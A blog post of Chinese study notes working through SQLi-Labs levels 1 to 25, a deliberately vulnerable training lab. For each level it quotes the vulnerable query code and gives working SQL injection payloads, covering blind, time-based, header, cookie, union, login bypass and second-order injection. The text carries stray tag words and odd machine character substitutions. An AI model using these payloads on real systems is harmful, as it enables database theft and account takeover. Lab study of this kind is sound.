SQLi-Labs學習筆記

結構化查詢語言,也叫作SQL,從根本上說是一種處理數據庫的編程語言。對於初學者,數據庫僅僅是在客戶端和服務端進行數據存儲。SQL經過結構化查詢,關係,面向對象編程等等來管理數據庫。編程極客們老是搞出許多這樣類型的軟件,像MySQL,MS SQL ,Oracle以及Postgresql。如今有一些程序能讓咱們有能力經過結構化查詢來管理大型數據庫。php

咱們將要使用的實驗室是SQLi Labs,它是一個能夠從https://github.com/Audi-1/sqli-labs免費下載,以便咱們研究學習以及編寫安全的程序。mysql

Less-1

關鍵代碼:git

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";github

能夠看到對於直接 GET 進來的文本沒有過濾。
同時,在查詢語句中,id='$id',變量加了引號。這裏引號的意思是把輸入的 id 當作字符串來處理,取從頭開始的最長數字且類型轉換爲整形進行查詢。sql

?id=12a             顯示id爲12的用戶
?id=1a2a            顯示id爲1的用戶
?id=102a            顯示id爲102的用戶(不存在)
盲注
?id=1%27and+left(version(),1)=5%23                得出數據庫版本爲5開頭
?id=1%27and+length(database())=8%23               數據庫名長度爲8
?id=1%27and+left(database(),8)='security'%23      數據庫爲security
?id=1%27and+length(username)=4%23                 用戶名長度爲4
?id=1%27and+left(username,4)='Dumb'%23            用戶名爲Dumb
?id=1%27and+length(password)=4%23                 密碼長度爲4
?id=1%27and+left(password,4)='Dumb'%23            密碼爲Dumb

Less-2

關鍵代碼:數據庫

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";編程

一樣未作過濾,但此處的變量 id 無引號。大概是直接將變量 id 當作整形傳入查詢。安全

?id=12  顯示 id 爲 12 的用戶
?id=12a 報錯:Unknown column '12a' in 'where clause'
?id=%31 顯示 id 爲 1 的用戶
注入測試:
?id=1+and+left(version(),1)=5 直接注入便可獲得版本號

Less-3

關鍵代碼:服務器

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";cookie

未過濾,但變量 id 加了引號和括號。將變量 id 以字符串形式引入,和Less-1很像,可是卻又多了個括號,猜想是防止注入語句。

注入測試:
?id=12+and+1=1           顯示正確
?id=12+an                不徹底語句也顯示正確
猜想:括號將變量限制在括號範圍內,嘗試手動提早匹配括號注入。
?id=12%27                        成功報錯:''12'') LIMIT 0,1' at line 1
?id=1%27%29and+1=2%23                                無顯示,可注入
上面那條語句還原到 SQL 語句時,爲:
SELECT * FORM users WHERE id=('1')and 1=2#') LIMIT 0,1

將括號提早結束且用 #號註釋掉接下來的語句。接下來的注入只要替換 and 1=1 語句就好了。

Less-4

關鍵代碼:

$id = '"' . $id . '"';

$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

對變量 id 作了處理。該處理在 id 先後添加雙引號。

?id=1%22%29+and+1=2%23            無顯示,可注入
SELECT * FROM users WHERE id=("1")and 1=2#") LIMIT 0,1

Less-5

關鍵代碼:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

?id=1'and+1=2#

Less-6

關鍵代碼:

$id = '"'.$id.'"';

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

?id=1"and+1=2#

Less-7

關鍵代碼:

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

?id=1'))and 1=2#

Less-8

關鍵代碼:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

?id=1' and 1=2#

Less-9

嘗試了不少次,各類組合,可是服務器返回的結果都是同樣。
嘗試 ?id=10000000000
返回結果也是正確,由於不存在這麼大的 id,因此判斷這個頁面把正確和錯誤的信息所有返回一致。
因而,使用基於時間的注入,構造如下語句:

?id=1' and sleep(5) %23

若是錯誤,則服務器處理5秒再返回,不然直接返回,找到正確的注入點。

?id=1' and if(ascii(substr(database(),1,1))>115, 0, sleep(5)) %23

?id=1' and if(ascii(substr(database(),1,1))>114, 0, sleep(5)) %23

第一個語句暫停五秒第二個直接返回,判斷數據庫名的第一個字母爲s(ascii爲115)

Less-10

又是一個基於時間的注入,嘗試了下,注入點在這:

?id=1" and sleep(5) %23

Less-11

這個頁面採用 POST 的方法獲得數據。因而用 HackBar 修改 post 數據進行測試:

uname=admin&passwd=123'
顯示:
 ''123'' LIMIT 0,1' 
去掉單引號
'123'' LIMIT 0,1
再去掉密碼的單引號
123' LIMIT 0,1

因此肯定是單引號注入,直接萬能密鑰試試:

uname=admin' or '1'='1 &passwd=123456

這裏的話有個點:

若是輸入:uname=admin' or '1'='1 &passwd=123456,會顯示失敗,爲何呢?

首先and的優先級高於or 【就是and先運算】

那麼'1'='1' and password='123456'先運算,由於users表裏面的password字段沒有一個數據時test,右邊是false,那麼整個表達式就是false

這個時候整個的語句就是:

SELECT username, password FROM users WHERE username='test' or false LIMIT 0,1

數據庫裏沒有test用戶,因此就失敗了。

而萬能密鑰的語句是:

SELECT username, password FROM users WHERE username='admin' or false LIMIT 0,1

對於上述的狀況,咱們在密碼字段加入便可

uname=test&passwd=123456' or '1'='1

SELECT username, password FROM users WHERE username='test' or true LIMIT 0,1

Less-12

先嚐試單引號,雙引號。

輸入:

uname=test&passwd=123456"

報錯:

'"123456"") LIMIT 0,1'

123456") LIMIT 0,1

構造POC:

uname=test&passwd=123456") or "1"="1"#

Less-13

先嚐試單引號,雙引號。

輸入:

uname=test&passwd=123456'

報錯:

''123456'') LIMIT 0,1'

123456') LIMIT 0,1

構造POC:

uname=test&passwd=123456') or ('1')=('1

或者

uname=test&passwd=123456') or "1"="1"#

Less-14

先嚐試單引號,雙引號。

輸入:

uname=test&passwd=123456"

報錯:

'"123456"" LIMIT 0,1'

123456" LIMIT 0,1

構造POC:

uname=test&passwd=123456" or "1"="1"#

或者

uname=test&passwd=123456" or "1"="1

Less-15

這裏輸入單引號,雙引號就不會報錯了,咱們只能加上永真永假或者時間延遲函數了。

測試發現時間延遲不行。

uname=test&passwd=123456' or 1=1#

直接成功了,

試一下盲注也是能夠得。

uname=test&passwd=123456' or length(database())=8#

Less-16

uname=test&passwd=123456") or 1=1#

成功登錄,時間延遲注入試試

uname=test&passwd=123456")  or if(length(database())=7,1,sleep(5)) #
暫停,說明不對
uname=test&passwd=123456")  or if(length(database())=8,1,sleep(5)) #
成功登錄

Less-17

uname=admin&passwd=123456' where username='admin' and 1=2 #
對應的SQL語句是:
UPDATE users SET password = '123456' where username='admin' and 1=2 #' WHERE username='admin'

Less-18

這是 Header 注入。

意思是,從服務器要求的 Header 頭裏面找到能夠注入的注入點。

從源代碼能夠看出,服務器將 Header 裏面的 user-agent 的值沒有通過過濾就帶入了 insert into 語句,這就形成了注入。

$uagent = $_SERVER['HTTP_USER_AGENT'];
...
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

首先,抓包。

還有一個問題就是,insert into 語句要在登錄成功後才能執行,因此必須輸入正確的用戶和密碼再抓包。

xpath注入:
payload:updatexml(1,concat(0x7e,(version())),0)
第一個參數是 目標xml
第二個參數是 xpath的表達式,這個看w3c那個xpath教程
第三個參數是 要將xpath的表達式的東西將目標xml替換成什麼

POC:

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' or updatexml(0,concat(0x3a,version()),0),",")#
響應:
Your User Agent is: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' or updatexml(0,concat(0x3a,version()),0),"1")#
XPATH syntax error: ':5.5.47'

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' or updatexml(0,concat(0x3a,(select username from users limit 0,1)),0),"1")#
響應:
Your User Agent is: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' or updatexml(0,concat(0x3a,(select username from users limit 0,1)),0),"1")
XPATH syntax error: ':Dumb'

Less-19

POC:

Referer: 1' or updatexml(0,concat(0x3a,version()),0),"1")#
響應:
Your Referer is: 1' or updatexml(0,concat(0x3a,version()),0),"1")
XPATH syntax error: ':5.5.47'

這裏也能夠用一個報錯函數extractvalue

第一個參數也是個xml,第二個參數就是xpath的表達式,這個函數是獲取xml中某個節點的值

與updatexml一次只能更新一個節點不一樣,extractvalue能夠一次獲取多個節點的值,並以空格分隔

POC:

Referer: 1' or extractvalue(0,concat(0x3a,version())),'1')#
響應:
Your User Agent is: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' or extractvalue(0,concat(0x3a,version())),'1')#
XPATH syntax error: ':5.5.47'

Less-20

這題用 Cookies 注入

POC:

Cookie: uname=admin';
報錯
Cookie: uname=admin' order by 3#;
正常顯示
Cookie: uname=admin' order by 4#;
報錯,因此是三個字段
Cookie: uname=admin' and 1=2 union select 1,2,3#;
顯示2,3
Cookie: uname=admin' and 1=2 union select 1,database(),version()#;
數據庫:security,版本:5.5.47
Cookie: uname=admin' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#;
表名:emails,referers,uagents,users,這裏也能夠用limit語句
Cookie: uname=admin' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#;
字段:user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password
Cookie: uname=admin' and 1=2 union select 1,username,password from users limit 0,1#;
內容:Your Login name:Dumb Your Password:Dumb

Less-21

cookies 注入

可是,這一次的 cookies 是加密的.

setcookie('uname', base64_encode($row1['username']), time()+3600);
...
$cookee = base64_decode($cookee);

POC:

') union select 1,2,username from users#
JykgdW5pb24gc2VsZWN0IDEsMix1c2VybmFtZSBmcm9tIHVzZXJzIw==
顯示密碼Dumb

Less-22

單引號換成雙引號就好了

uname=IiB1bmlvbiBzZWxlY3QgMSwyLHVzZXJuYW1lIGZyb20gdXNlcnMj
Your Login name:2
Your Password:Dum

Less-23

這一題它在輸入的時候過濾了幾個字符

$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

因此,咱們不能用 #來註釋掉剩下的查詢語句。

那麼該怎麼辦呢?

一個辦法就是,讓剩下的語句變得完整就行。

查詢語句的代碼爲:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

構造語句:

?id=1'and+'1'='1

Less-24

二次注入

與數據庫交互的有三個頁面:login_create.php,login.php,pass_change.php

login_create.php,登錄頁面對用戶和密碼都進行了處理。

$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

login_create.php對新建用戶進行處理

$username=  mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);

pass_change.php是修改密碼的

關鍵代碼:

$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if($pass==$re_pass)
{   
    $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
    $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
    $row = mysql_affected_rows();
    ...

能夠發現

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

更改密碼時$username沒有任何過濾,直接帶入進去,若是$username後面有個註釋符,那麼咱們能夠直接繞過驗證$curr_pass而直接更改密碼。

因此咱們要建一個有註釋符的特殊用戶

用戶名:admin'+#+
密碼: 123456

而後登錄,進入更改密碼頁面

隨便輸入當前密碼,而後輸入咱們要更改的密碼

YOU ARE LOGGED IN AS
admin' # 

You can Change your password here.
Current Password: 123   
New Password:   123456
Retype Password:    123456

提交,你會發現,admin的密碼已經被咱們改爲123456了。

Less-25

這題的意思是,「你的 AND 和 OR 都是咱們的了!」...

就是,AND 和 OR 所有都被過濾掉了。

AND==&&
OR==||

?id=1' && '1'='1
url編碼
?id=1' %26%26 '1'='1

歡迎訪問個人獨立博客:joy_nick

相關文章
相關標籤/搜索